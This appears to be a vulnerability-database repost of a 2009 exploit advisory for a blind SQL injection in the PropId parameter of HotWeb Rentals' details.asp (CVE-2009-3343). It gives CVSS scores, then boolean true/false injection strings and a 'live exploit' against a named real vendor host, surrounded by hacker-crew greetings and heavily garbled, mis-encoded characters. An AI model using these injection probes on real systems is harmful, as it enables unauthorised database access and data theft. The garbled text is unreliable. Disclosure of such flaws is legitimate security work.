HotWeb Rentals (details.asp PropId) Blind SQL Injection Vuln

2009.09.28

Credit: CL053D

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-3343

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

 [&#65533;&#162;] &#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;{&#216;&#216;&#179;&#217;&#65533; &#216;&#217;&#65533;&#217;&#65533;&#217;&#65533; &#216;&#217;&#65533;&#216;&#177;&#216;&#217;&#65533;&#217;&#65533; &#216;&#217;&#65533;&#216;&#177;&#216;&#217;&#65533;&#217;&#65533;}&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;&#65533;&#162;
[&#65533;]
[~] Tybe:(details.asp PropId) BL!ND SQL Injection Vulnerability
[&#65533;]
[~] Vendor: www.hotwebscripts.co.uk
[&#65533;]
[&#65533;] Software: HotWeb Rentals 
[&#65533;]
[&#65533;] author: ((&#209;&#65533;3d D3v!L))
[&#65533;]
[&#65533;] Date: 15.2.2009
[&#65533;]
[&#65533;] Home: CL053D
[&#65533;]
[&#65533;] contact: X@hotmail.co.jp
[&#65533;]&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;{DEV!L'5 of SYST3M}&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;

[&#65533;] ERR0R CONSOLE

WwW.XxX.CcC/details.asp?PropId=(BL!ND EV!L !NJ3c7!0N)

[&#65533;]SECURE ALERT FR0M 7h3 R3d-D3V!L

[&#65533;] Exploit:

[&#65533;] TRU3 : details.asp?PropId=1+and+1=1


 [&#65533;] FALS3 : details.asp?PropId=1+and+1=2

[&#65533;]liv3 3xpL0!T:
[&#65533;] TRU3 : holidayrentals.hotwebscripts.co.uk/details.asp?PropId=1+and+1=1
[&#65533;] F4L53 :holidayrentals.hotwebscripts.co.uk/details.asp?PropId=1+and+1=2


 [&#65533;]

N073:
R34L R3d-D3V!L WAS h3R3 ((&#65533;X@Minhal.co.il&#65533;))

4R48!4N-HACK3R!!&#216;&#217;&#65533;&#217;&#65533;&#216;&#177;&#216;&#216;&#181;&#217;&#65533;&#217;&#65533; &#216;&#217;&#65533;&#216;&#185;&#216;&#177;&#216;

 [~]-----------------------------{str0ke}-----------------------------------------------------

[~] Greetz tO: {str0ke} & XP_10 & &#216;&#177;&#217;&#65533;&#216;&#170; &#216;&#217;&#65533;&#217;&#65533; & &#216;&#216;&#217;&#65533; &#216;&#217;&#65533;&#216;&#175; & B0rN 2 K!LL & JUPA &D3V!L-FUCK3R & &#216;&#217;&#65533;&#216;&#178;&#217;&#65533;&#217;&#65533;&#216;&#177;&#217;&#65533;
 [~]70 &#217;&#65533;ALL ARAB!AN HACKER 3X3PT:LAM3RZ
[~] spechial thanks : ((dolly)) & ((7am3m)) &MAGOUSH ;) & EMAD & 0R45h3Y  

 [&#65533;]spechial SupP0RT: MY M!ND -57R0K3-''M!Lw0RM 3MP3R0R''-''3XPLO!T-houSE''

[&#65533;] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --D3V!L R007

  [~]spechial FR!ND: 74M3M &#216;&#170;&#217;&#65533;&#217;&#65533;&#217;&#65533;

[~] !'M 4R48!4N 3XPL0!73R.

  [~]

[~]--------------------------------------------------------------------------------

References:

http://www.milw0rm.com/exploits/9675

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

HotWeb Rentals (details.asp PropId) Blind SQL Injection Vuln

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.